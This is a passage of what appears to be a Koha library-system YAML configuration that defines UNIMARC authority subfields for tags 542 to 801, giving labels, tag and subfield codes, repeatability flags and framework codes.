Part\n tab: 0\n tagfield: 542\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 542\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 542\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 542\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Language of expression\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: m\n - authtypecode: TM\n liblibrarian: Content type (expression)\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: n\n - authtypecode: TM\n liblibrarian: Date of the expression\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 542\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 542\n tagsubfield: s\n - authtypecode: TM\n frameworkcode: NTEXP\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: t\n - authtypecode: TM\n liblibrarian: Expression support (for music)\n repeatable: 0\n tab: 0\n tagfield: 542\n tagsubfield: v\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 542\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 542\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 542\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: CLASS\n liblibrarian: Author\n repeatable: 0\n tab: 0\n tagfield: 545\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 545\n tagsubfield: j\n - authtypecode: TM\n frameworkcode: CLASS\n liblibrarian: Classification section\n tab: 0\n tagfield: 545\n tagsubfield: t\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 545\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 545\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 545\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 0\n - authtypecode: TM\n isurl: ~\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 2\n - authtypecode: TM\n isurl: ~\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 5\n - authtypecode: TM\n isurl: ~\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 8\n - authtypecode: TM\n isurl: ~\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: SNC\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 550\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 550\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 550\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 550\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 550\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Relator code\n tab: 0\n tagfield: 560\n tagsubfield: 4\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 6\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: PA\n liblibrarian: Country\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: 'State, province, or region'\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: County\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: c\n - authtypecode: TM\n frameworkcode: PA\n liblibrarian: City\n repeatable: 0\n tab: 0\n tagfield: 560\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Instruction phrase\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 0\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Coded data relative tomentions of rejected or associated forms\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 5\n - authtypecode: TM\n liblibrarian: Interfield linking data\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 6\n - authtypecode: TM\n isurl: ~\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 7\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: GENRE/FORM\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 580\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 580\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 580\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 580\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 580\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NP\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Firstname\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Qualifier other than dates\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Roman numerals\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Expansion of initials of forename\n repeatable: 0\n tab: 0\n tagfield: 600\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 600\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 600\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 600\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 600\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: CO\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Subdivision\n tab: 0\n tagfield: 601\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Additions to name or qualifier\n tab: 0\n tagfield: 601\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Congress/session number\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Location of meeting\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Date of meeting\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Rejected element\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: g\n - authtypecode: TM\n liblibrarian: Part of name other than entry element and rejected element\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Form Subdivision\n repeatable: 0\n tab: 0\n tagfield: 601\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 601\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 601\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 601\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 602\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 602\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 602\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: FAM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 602\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 602\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 602\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 602\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 602\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 602\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 606\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 606\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 606\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: SNC\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 606\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Status\n repeatable: 0\n tab: 0\n tagfield: 606\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 606\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 606\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical subdivision\n tab: 0\n tagfield: 606\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 606\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 607\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 607\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 607\n tagsubfield: 9\n - authtypecode: TM\n isurl: ~\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 607\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 607\n tagsubfield: j\n - authtypecode: TM\n isurl: ~\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 607\n tagsubfield: x\n - authtypecode: TM\n isurl: ~\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 607\n tagsubfield: y\n - authtypecode: TM\n isurl: ~\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 607\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: TM\n liblibrarian: Entry element\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Qualifiers\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Dates\n repeatable: 0\n tab: 0\n tagfield: 616\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 616\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 616\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 616\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 616\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Country\n repeatable: 0\n tab: 0\n tagfield: 617\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'State, province, or region'\n repeatable: 0\n tab: 0\n tagfield: 617\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: County\n repeatable: 0\n tab: 0\n tagfield: 617\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: City\n repeatable: 0\n tab: 0\n tagfield: 617\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: WORK\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 631\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 631\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 631\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 631\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 631\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 631\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 631\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 631\n tagsubfield: s\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 631\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 631\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 631\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: EXP\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 632\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 632\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 632\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 632\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 632\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Language of expression\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: m\n - authtypecode: TM\n liblibrarian: Content type (expression)\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: n\n - authtypecode: TM\n liblibrarian: Date of the expression\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 632\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 632\n tagsubfield: s\n - authtypecode: TM\n liblibrarian: Expression support (for music)\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: v\n - authtypecode: TM\n liblibrarian: Other characteristics (expression)\n repeatable: 0\n tab: 0\n tagfield: 632\n tagsubfield: w\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 632\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 632\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 632\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NTWORK\n liblibrarian: Name\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 641\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 641\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 641\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 641\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 641\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 641\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 641\n tagsubfield: s\n - authtypecode: TM\n frameworkcode: NTWORK\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 641\n tagsubfield: t\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 641\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 641\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 641\n tagsubfield: z\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: 9\n - authtypecode: TM\n frameworkcode: NTEXP\n liblibrarian: Name\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: a\n - authtypecode: TM\n liblibrarian: Form\n tab: 0\n tagfield: 642\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Date\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: d\n - authtypecode: TM\n liblibrarian: Place of origin\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: e\n - authtypecode: TM\n liblibrarian: Language\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: f\n - authtypecode: TM\n liblibrarian: Number of Section or Part\n tab: 0\n tagfield: 642\n tagsubfield: h\n - authtypecode: TM\n liblibrarian: Part title\n tab: 0\n tagfield: 642\n tagsubfield: i\n - authtypecode: TM\n liblibrarian: Form Subdivision\n tab: 0\n tagfield: 642\n tagsubfield: j\n - authtypecode: TM\n liblibrarian: Other characteristics\n tab: 0\n tagfield: 642\n tagsubfield: k\n - authtypecode: TM\n liblibrarian: Language of expression\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: m\n - authtypecode: TM\n liblibrarian: Content type (expression)\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: n\n - authtypecode: TM\n liblibrarian: Date of the expression\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: o\n - authtypecode: TM\n liblibrarian: Medium of performance (for music)\n tab: 0\n tagfield: 642\n tagsubfield: r\n - authtypecode: TM\n liblibrarian: Numeric Designation (for Music)\n tab: 0\n tagfield: 642\n tagsubfield: s\n - authtypecode: TM\n frameworkcode: NTEXP\n liblibrarian: Title\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: t\n - authtypecode: TM\n liblibrarian: Expression support (for music)\n repeatable: 0\n tab: 0\n tagfield: 642\n tagsubfield: v\n - authtypecode: TM\n liblibrarian: Topical Subdivision\n tab: 0\n tagfield: 642\n tagsubfield: x\n - authtypecode: TM\n liblibrarian: Geographical Subdivision\n tab: 0\n tagfield: 642\n tagsubfield: y\n - authtypecode: TM\n liblibrarian: Chronological Subdivision\n tab: 0\n tagfield: 642\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Classification record identifier\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'UDC number, single or beginning of a range'\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'UDC number, end of a range'\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Explanatory Terms\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: UDC Edition\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: v\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Edition\n repeatable: 0\n tab: 0\n tagfield: 675\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Classification record identifier\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'DDC number, single or beginning of a range'\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'DDC number, end of a range'\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Explanatory Terms\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: DDC Edition\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: v\n - authtypecode: TM\n isurl: ~\n liblibrarian: Language of Edition\n repeatable: 0\n tab: 0\n tagfield: 676\n tagsubfield: z\n - authtypecode: TM\n isurl: ~\n liblibrarian: Classification record identifier\n repeatable: 0\n tab: 0\n tagfield: 680\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'LC number, single or beginning of a range'\n repeatable: 0\n tab: 0\n tagfield: 680\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'LC number, end of a range'\n repeatable: 0\n tab: 0\n tagfield: 680\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Explanatory Terms\n repeatable: 0\n tab: 0\n tagfield: 680\n tagsubfield: c\n - authtypecode: TM\n isurl: ~\n liblibrarian: Classification record identifier\n repeatable: 0\n tab: 0\n tagfield: 686\n tagsubfield: 3\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'Class number, single or beginning of a range'\n repeatable: 0\n tab: 0\n tagfield: 686\n tagsubfield: a\n - authtypecode: TM\n isurl: ~\n liblibrarian: 'Class number, end of a range'\n repeatable: 0\n tab: 0\n tagfield: 686\n tagsubfield: b\n - authtypecode: TM\n isurl: ~\n liblibrarian: Explanatory Terms\n repeatable: 0\n tab: 0\n tagfield: 686\n tagsubfield: c\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 700\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Subject system code\n repeatable: 0\n tab: 0\n tagfield: 716\n tagsubfield: 2\n - authtypecode: TM\n liblibrarian: Authority record identifier\n repeatable: 0\n tab: 0\n tagfield: 716\n tagsubfield: 3\n - authtypecode: TM\n liblibrarian: Script of cataloguing and script of the base heading\n repeatable: 0\n tab: 0\n tagfield: 716\n tagsubfield: 7\n - authtypecode: TM\n liblibrarian: Language of Cataloguing and Language of the Base Heading\n repeatable: 0\n tab: 0\n tagfield: 716\n tagsubfield: 8\n - authtypecode: TM\n liblibrarian: Koha number\n repeatable: 0\n tab: 0\n tagfield: 716\n tagsubfield: 9\n - authorised_value: COUNTRY\n authtypecode: TM\n defaultvalue: FR\n liblibrarian: Country\n repeatable: 0\n tab: 0\n tagfield: 801\n tagsubfield: a\n - authtypecode: TM\n defaultvalue: Progilone\n liblibrarian: Cataloguer establishment\n mandatory: 1\n repeatable: 0\n tab: 0\n tagfield: 801\n tagsubfield: b\n - authtypecode: TM\n liblibrarian: Date of latest transaction\n repeatable: 0\n tab: 0\n 